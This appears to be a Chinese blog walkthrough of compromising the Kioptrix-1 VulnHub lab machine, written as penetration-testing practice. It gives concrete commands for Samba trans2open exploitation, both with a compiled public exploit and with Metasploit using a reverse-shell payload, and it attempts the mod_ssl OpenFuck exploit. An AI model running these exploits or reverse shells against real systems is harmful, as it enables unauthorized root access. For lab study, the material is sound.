当前位置: 首页 > news >正文

vulnhub靶场【kioptrix-1靶机】

前言

靶机:kioptrix-1,IP地址为192.168.1.104

攻击:kali,IP地址为192.168.1.16

都采用虚拟机,网卡为桥接模式

文章中涉及的靶机,来源于vulnhub官网,想要下载,可自行访问官网下载,或者通过下方链接下载https://pan.quark.cn/s/1f8bfb170c6d

主机发现

使用arp-scan -lnetdiscover -r 192.168.10.1/24扫描

也可以使用nmap等工具进行

信息收集

使用nmap扫描端口

对于后续的目录爆破等,因为我个人测试过,所以发现网站的目录无价值,进而直接搜索版本漏洞进行测试

smb漏洞寻找并利用

使用searchsploit

前面直接发现139端口开启,并且nmap扫描出的是sam服务

那么使用smbclient尝试连接,看能否有东西产出

如图,并未把版本揭示,那么我对于漏洞的使用缺失重要的一块

更换工具,采用github上的一个项目进行测试https://github.com/amitn322/smb-version/blob/master/samba_version.py

下载到kali中,然后执行脚本即可

python2 smbversion.py -s 192.168.1.104

使用searchsploit进行测试,发现对应的漏洞只有一个可用于继续下一步,对于.rb,因为是msf特有的,所以暂不考虑

查看10.c文件,给出了用法

那么直接进行编译即可

gcc 10.c -o exp

编译成功,直接执行上面的用法,针对单个ip即可

./exp -b 0 -v 192.168.1.104

执行后,提权至root

使用msf

把上面作为节点,这里是新的

这里还是要检测smb服务的版本,这里借助整个msf作为使用

使用下面命令启动msf,并搜索对应的模块

msfconsole
search type:auxiliary smb version detection

那么使用该模块,命令如下

msf6 > use 0
msf6 auxiliary(scanner/smb/smb_version) > optionsmsf6 auxiliary(scanner/smb/smb_version) > set rhosts 192.168.1.104
msf6 auxiliary(scanner/smb/smb_version) > set rport 139
msf6 auxiliary(scanner/smb/smb_version) > optionsmsf6 auxiliary(scanner/smb/smb_version) > run

执行后,会看到对应的版本信息

通过版本在msf中搜索可执行漏洞,这里注意,漏洞都是同一种trans2open,只是操作系统不同,这里靶机为linux操作系统,所以根据操作系统去选择

search type:exploit samba 2.2

use 2
optionsset rhost 192.168.1.104
//端口默认目标的是139

这里需要设置一个payload进行监听反弹shell,所以需要设置linux的监听

set payload linux/x86/shell/reverse_tcp
//脚本很多,选择其中一个即可

这时候执行,等待缓冲区溢出的爆破,一会即可发现反弹成功

web应用漏洞寻找利用

在之前使用nmap扫描时,确定443端口服务的版本mod_ssl 2.8.4,尝试进行搜索了一下,发现有版本范围内的一个漏洞openfuck

searchsploit mod_ssl 2.8.4

再使用nikto测试,发现也是有提到,可能存在

nikto -h 192.168.1.104

测试,直接使用remote buffer overflow,这个是我个人习惯,采用最新版本。

查看这个c文件,其中有用法,以及条件

那么就执行安装后,然后再编译

apt-get install libssl-dev
gcc -o openfuck 47080.c -lcrypto

执行编译后的openfuck,查看帮助,提供用法

./openfuck

大概用法就是

./openfuck 192.168.1.104 [box] 443

向下翻找,发现与前面nmap扫描出的443端口的服务版本redhat,中间件版本apache 1.3.20对应的有两个

测试这两个即可

./openfuck 192.168.1.104 0x6a 443./openfuck 192.168.1.104 0x6b 443

这里经过测试两个,发现都是提示超时

可能这里无法利用,不过查看了网上的wp,发现可以利用,这让我陷入深思,所以暂且到这里,等我搞清楚,会发布

总结

该靶机考察以下几点:

  1. 对于存在的smb服务,要能够识别出版本信息,也就是信息收集,这样才能为下一步确定有无版本信息做铺垫
  2. 善于使用searchsploit,这个是调用一个漏洞库中的信息,当然对于漏洞库也不要仅限于一个,多个漏洞库去搜索,可能这个没有,那个会有
  3. 对于给出的pocc文件等,要会编译,并复现,经常查看源文件
  4. 对于msf这个强大的工具,要会使用,至少要知道一些简单的用法

主要考察的就是对于服务的版本历史漏洞的复现,以及利用

相关文章:

vulnhub靶场【kioptrix-1靶机】

前言 靶机:kioptrix-1,IP地址为192.168.1.104 攻击:kali,IP地址为192.168.1.16 都采用虚拟机,网卡为桥接模式 文章中涉及的靶机,来源于vulnhub官网,想要下载,可自行访问官网下载&…...

Linux 6.14 内核的主要特性

原文参考:https://www.kernel.org/ Linux 6.14 内核是 Linux 内核的一个重要版本,预计于 2025 年 3 月发布。该版本引入了多项新特性和改进,涵盖了硬件支持、性能优化、安全性增强以及新技术的整合。 1. Rust 语言驱动的正式支持 Linux 6.1…...

【Linux】深刻理解动静态库

1.什么是库 库是写好的现有的,成熟的,可以复⽤的代码。现实中每个程序都要依赖很多基础的底层库,不可能每个⼈的代码都从零开始,因此库的存在意义⾮同寻常。本质上来说库是⼀种可执⾏代码的⼆进制形式,可以被操作系统载…...

亚博microros小车-原生ubuntu支持系列:8-脸部检测与人脸特效

前面的都是使用了mediapipe框架。后面的这两节采用了opencv\dlib的框架。 一 脸部检测 核心:opencv detectMultiScale函数 detectMultiScale(image, scaleFactor, minNeighbors, flags, minSize, maxSize) image--待检测图片,一般为灰度图像加快检测…...

代码随想录算法训练营day32

代码随想录算法训练营 —day32 文章目录 代码随想录算法训练营前言一、动态规划理论基础二、509. 斐波那契数动态规划动态规划优化空间版递归法 三、70. 爬楼梯动态规划动态规划空间优化 746. 使用最小花费爬楼梯动态规划空间优化 总结 前言 今天是算法营的第32天&#xff0c…...

缓存之美:万文详解 Caffeine 实现原理(下)

上篇文章:缓存之美:万文详解 Caffeine 实现原理(上) getIfPresent 现在我们对 put 方法有了基本了解,现在我们继续深入 getIfPresent 方法: public class TestReadSourceCode {Testpublic void doRead() …...

中企出海:从国际投资建厂:投前投中投后重点事项

1. 投前重点事项 1.1 市场调研与分析 在国际投资建厂的投前阶段,市场调研与分析是至关重要的基础工作,它能够帮助企业全面了解目标市场,为后续决策提供有力依据。 市场规模与潜力:通过收集和分析目标国家或地区的经济数据、行业…...

github登录用的TOTP和恢复码都丢失了怎么办

从22年左右开始github的登录就需要用TOTP的一个6位秘钥做二次认证登录,如果在用的TOTP软件失效了,可以用github开启二次认证时下载的恢复码重置认证,但是如果你和我一样这两个东西都没了就只能用邮箱重置了,过程给大家分享一下 一…...

最长递增子序列问题(Longest Increasing Subsequence),动态规划法解决,贪心算法 + 二分查找优化

问题描述&#xff1a;在一个大小乱序的数列中&#xff0c;找到一个最大长度的递增子序列&#xff0c;子序列中的数据在原始数列中的相对位置保持不变&#xff0c;可以不连续&#xff0c;但必须递增。 输入描述&#xff1a; 第一行输入数列的长度 n。(1 < n < 200) 第二…...

Python中采用.add_subplot绘制子图的方法简要举例介绍

Python中采用.add_subplot绘制子图的方法简要举例介绍 目录 Python中采用.add_subplot绘制子图的方法简要举例介绍一、Python中绘制子图的方法1.1 add_subplot函数1.2 基本语法&#xff08;1&#xff09;add_subplot的核心语法&#xff08;2&#xff09;add_subplot在中编程中的…...

纯 Python、Django、FastAPI、Flask、Pyramid、Jupyter、dbt 解析和差异分析

一、纯 Python 1.1 基础概念 Python 是一种高级、通用、解释型的编程语言&#xff0c;以其简洁易读的语法和丰富的标准库而闻名。“纯 Python” 在这里指的是不依赖特定的 Web 框架或数据分析工具&#xff0c;仅使用 Python 原生的功能和标准库来开发应用程序或执行任务。 1.…...

C++实现有限元二维杆单元计算 Bar2D2Node类(纯自研 非套壳)

本系列文章致力于实现“手搓有限元&#xff0c;干翻Ansys的目标”&#xff0c;基本框架为前端显示使用QT实现交互&#xff0c;后端计算采用Visual Studio C。 QT软件界面 具体软件操作可查看下方视频哦。也可以点击这里直接跳转。 直接干翻Ansys&#xff1f;小伙自研有限元 1、…...

wx036基于springboot+vue+uniapp的校园快递平台小程序

开发语言&#xff1a;Java框架&#xff1a;springbootuniappJDK版本&#xff1a;JDK1.8服务器&#xff1a;tomcat7数据库&#xff1a;mysql 5.7&#xff08;一定要5.7版本&#xff09;数据库工具&#xff1a;Navicat11开发软件&#xff1a;eclipse/myeclipse/ideaMaven包&#…...

Unity中两个UGUI物体的锚点和中心点设置成不一样的,然后怎么使两个物体的位置一样?

一、问题复现 需求&#xff1a;go1物体和我想把go1的位置跟go2的位置一样&#xff0c;但是我通过物体的anchoredPosition以及position还有localposiiton都没有解决问题&#xff0c;使用上面的这三个属性的效果如下&#xff1a; 运行之后&#xff0c;可以看出&#xff0c;go1的…...

兼职全职招聘系统架构与功能分析

2015工作至今&#xff0c;10年资深全栈工程师&#xff0c;CTO&#xff0c;擅长带团队、攻克各种技术难题、研发各类软件产品&#xff0c;我的代码态度&#xff1a;代码虐我千百遍&#xff0c;我待代码如初恋&#xff0c;我的工作态度&#xff1a;极致&#xff0c;责任&#xff…...

HTML5 History API

在 HTML5 的 History API 中&#xff0c;pushState 和 replaceState 方法也可以接受一个 state 对象作为参数。这些方法允许你在改变浏览器路由时不重新加载页面&#xff0c;并且可以附加一些自定义数据。 state 返回在 history 栈顶的 任意 值的拷贝。 let currentState h…...

2025_1_22打卡

402. 移掉 K 位数字 - 力扣&#xff08;LeetCode&#xff09; 279. 完全平方数 - 力扣&#xff08;LeetCode&#xff09;...

Formality:不可读(unread)的概念

相关阅读 Formalityhttps://blog.csdn.net/weixin_45791458/category_12841971.html?spm1001.2014.3001.5482https://blog.csdn.net/weixin_45791458/category_12841971.html?spm1001.2014.3001.5482 在Formality中有时会遇到不可读(unread)这个概念&#xff0c;本文就将对此…...

stm32f103C8T6和AT24C256链接

模拟IIC总线 myiic.c #ifndef __24CXX_H #define __24CXX_H #include "myiic.h" #define AT24C01 127 //1kbit1*1024/8128byte地址寻址范围为0-127 #define AT24C02 255 #define AT24C04 511 #define AT24C08 1023 #define AT24C16 2047 #define AT24C32 …...

5.SQLAlchemy对两张有关联关系表查询

问题 例如&#xff0c;一个用户可以有多个收获地址。 定义表如下&#xff1a; 用户表 地址表 一般情况&#xff0c;我们会先查询用户表&#xff0c;拿到用户id后&#xff0c;再到地址表中查询关联的地址数据。这样就要执行两次查询。 仅仅为了方便查询&#xff0c;需要一些属…...

React hook之useRef

React useRef 详解 useRef 是 React 提供的一个 Hook&#xff0c;用于在函数组件中创建可变的引用对象。它在 React 开发中有多种重要用途&#xff0c;下面我将全面详细地介绍它的特性和用法。 基本概念 1. 创建 ref const refContainer useRef(initialValue);initialValu…...

在HarmonyOS ArkTS ArkUI-X 5.0及以上版本中,手势开发全攻略:

在 HarmonyOS 应用开发中&#xff0c;手势交互是连接用户与设备的核心纽带。ArkTS 框架提供了丰富的手势处理能力&#xff0c;既支持点击、长按、拖拽等基础单一手势的精细控制&#xff0c;也能通过多种绑定策略解决父子组件的手势竞争问题。本文将结合官方开发文档&#xff0c…...

基于Flask实现的医疗保险欺诈识别监测模型

基于Flask实现的医疗保险欺诈识别监测模型 项目截图 项目简介 社会医疗保险是国家通过立法形式强制实施&#xff0c;由雇主和个人按一定比例缴纳保险费&#xff0c;建立社会医疗保险基金&#xff0c;支付雇员医疗费用的一种医疗保险制度&#xff0c; 它是促进社会文明和进步的…...

vscode(仍待补充)

写于2025 6.9 主包将加入vscode这个更权威的圈子 vscode的基本使用 侧边栏 vscode还能连接ssh&#xff1f; debug时使用的launch文件 1.task.json {"tasks": [{"type": "cppbuild","label": "C/C: gcc.exe 生成活动文件"…...

为什么需要建设工程项目管理?工程项目管理有哪些亮点功能?

在建筑行业&#xff0c;项目管理的重要性不言而喻。随着工程规模的扩大、技术复杂度的提升&#xff0c;传统的管理模式已经难以满足现代工程的需求。过去&#xff0c;许多企业依赖手工记录、口头沟通和分散的信息管理&#xff0c;导致效率低下、成本失控、风险频发。例如&#…...

蓝牙 BLE 扫描面试题大全(2):进阶面试题与实战演练

前文覆盖了 BLE 扫描的基础概念与经典问题蓝牙 BLE 扫描面试题大全(1)&#xff1a;从基础到实战的深度解析-CSDN博客&#xff0c;但实际面试中&#xff0c;企业更关注候选人对复杂场景的应对能力&#xff08;如多设备并发扫描、低功耗与高发现率的平衡&#xff09;和前沿技术的…...

大语言模型如何处理长文本?常用文本分割技术详解

为什么需要文本分割? 引言:为什么需要文本分割?一、基础文本分割方法1. 按段落分割(Paragraph Splitting)2. 按句子分割(Sentence Splitting)二、高级文本分割策略3. 重叠分割(Sliding Window)4. 递归分割(Recursive Splitting)三、生产级工具推荐5. 使用LangChain的…...

第一篇:Agent2Agent (A2A) 协议——协作式人工智能的黎明

AI 领域的快速发展正在催生一个新时代&#xff0c;智能代理&#xff08;agents&#xff09;不再是孤立的个体&#xff0c;而是能够像一个数字团队一样协作。然而&#xff0c;当前 AI 生态系统的碎片化阻碍了这一愿景的实现&#xff0c;导致了“AI 巴别塔问题”——不同代理之间…...

unix/linux,sudo,其发展历程详细时间线、由来、历史背景

sudo 的诞生和演化,本身就是一部 Unix/Linux 系统管理哲学变迁的微缩史。来,让我们拨开时间的迷雾,一同探寻 sudo 那波澜壮阔(也颇为实用主义)的发展历程。 历史背景:su的时代与困境 ( 20 世纪 70 年代 - 80 年代初) 在 sudo 出现之前,Unix 系统管理员和需要特权操作的…...

【Java学习笔记】BigInteger 和 BigDecimal 类

BigInteger 和 BigDecimal 类 二者共有的常见方法 方法功能add加subtract减multiply乘divide除 注意点&#xff1a;传参类型必须是类对象 一、BigInteger 1. 作用&#xff1a;适合保存比较大的整型数 2. 使用说明 创建BigInteger对象 传入字符串 3. 代码示例 import j…...